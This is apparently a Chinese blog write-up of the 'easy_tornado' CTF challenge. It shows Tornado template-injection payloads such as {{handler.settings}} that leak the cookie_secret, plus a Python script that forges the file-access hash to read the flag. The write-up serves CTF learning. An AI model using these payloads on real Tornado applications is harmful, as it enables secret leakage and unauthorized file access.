zoukankan      html  css  js  c++  java
  • [护网杯 2018]easy_tornado

    0x00

    打开网页发现

    分别打开
    /flag.txt:

    /welcome.txt:

    /hints.txt:

    还有一点需要注意的是:

    /file?filename=/hints.txt&filehash=32aaa29a01b1b5a672bda72c1313619e
    

    就如上面访问文件的时候都需要filehash才可以访问
    从/hints.txt中我们可以知道filehash的组成为:

    md5(cookie_secret+md5(filename))
    

    从/flag.txt中我们已经知道了flag所在的文件为/fllllllllllllag,
    所以现在我们只需要知道cookie_secret就可以得到flag
    然后我去查看cookie发现没有cookie

    说明我们的方向也许有点问题,继续查看其他信息
    在/welcome.txt中我们发现了render
    提供给render相应参数,它可以生成相应的html供前端响应
    既然使用这个函数提供的html,那也许存在SSTI注入漏洞
    有了新的方向,那我们去查找漏洞
    首先开始提供的那三个界面根本没办法利用,都进行了filehash验证,
    当输入错误的filehash的时候会发现跳转到了错误界面

    看到这里

    ?msg=Error
    

    很可能存在漏洞,那我们进行验证一下

    ?msg=1
    


    确实可以显示,继续

    ?msg={{1*1}}
    


    百度了一下ORZ是什么意思才发现是被过滤了,继续试

    ?msg={{1^2}}
    


    发现进行了异或运算,不用在进行验证了
    虽然现在发现了SSTI注入,但是cookie_secret在哪里获取
    百度搜索了关键字cookie_secret,发现是tornado模板引擎里面的一种安全cookie机制
    那现在cookie_secret就能和SSTI漏洞结合了,百度查询后发现,只需要输入如下就可以获得cookie_secret

    ?msg={{handler.settings}}
    

    得到如下结果

    接下来就是写一个python脚本获取filehash了

    import hashlib
    hash = hashlib.md5()
    
    filename='/fllllllllllllag'
    cookie_secret="28a80f75-de02-42ef-927c-c99e9be61b1b"
    hash.update(filename.encode('utf-8'))
    s1=hash.hexdigest()     
    hash = hashlib.md5()
    hash.update((cookie_secret+s1).encode('utf-8'))
    print(hash.hexdigest())
    
    ##hash.digest() 
    ##返回摘要,作为二进制数据字符串值
    ##hash.hexdigest() 
    ##返回摘要,作为十六进制数据字符串值
    

    运行脚本后得到结果

    0x01

    前面我们已经获得了flag,但是还有一个地方值得我们研究
    那就是为什么输入

    ?msg={{handler.settings}}
    

    可以获得cookie_secret,原因就是:
    在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,
    handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,
    所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

  • 相关阅读:
    本周四,CODING DevOps 深度解析系列最后一课等你来
    CODING DevOps 深度解析系列第二课报名倒计时!
    9 月 22 日,CODING DevOps 深度解析系列第一课线上开讲!
    9 月直播课预告 | CODING DevOps 深度解析系列上线啦
    LNMP Wordpress phpMyAdmin的部署记录
    在centos上部署docker与wordpress
    flask项目集成swagger
    windows局域网搭建本地git代码版本管理仓库
    docker部署的经验
    现有 Vue.js 项目快速实现多语言切换的一种思路
  • 原文地址:https://www.cnblogs.com/Wuser/p/13467636.html
Copyright © 2011-2022 走看看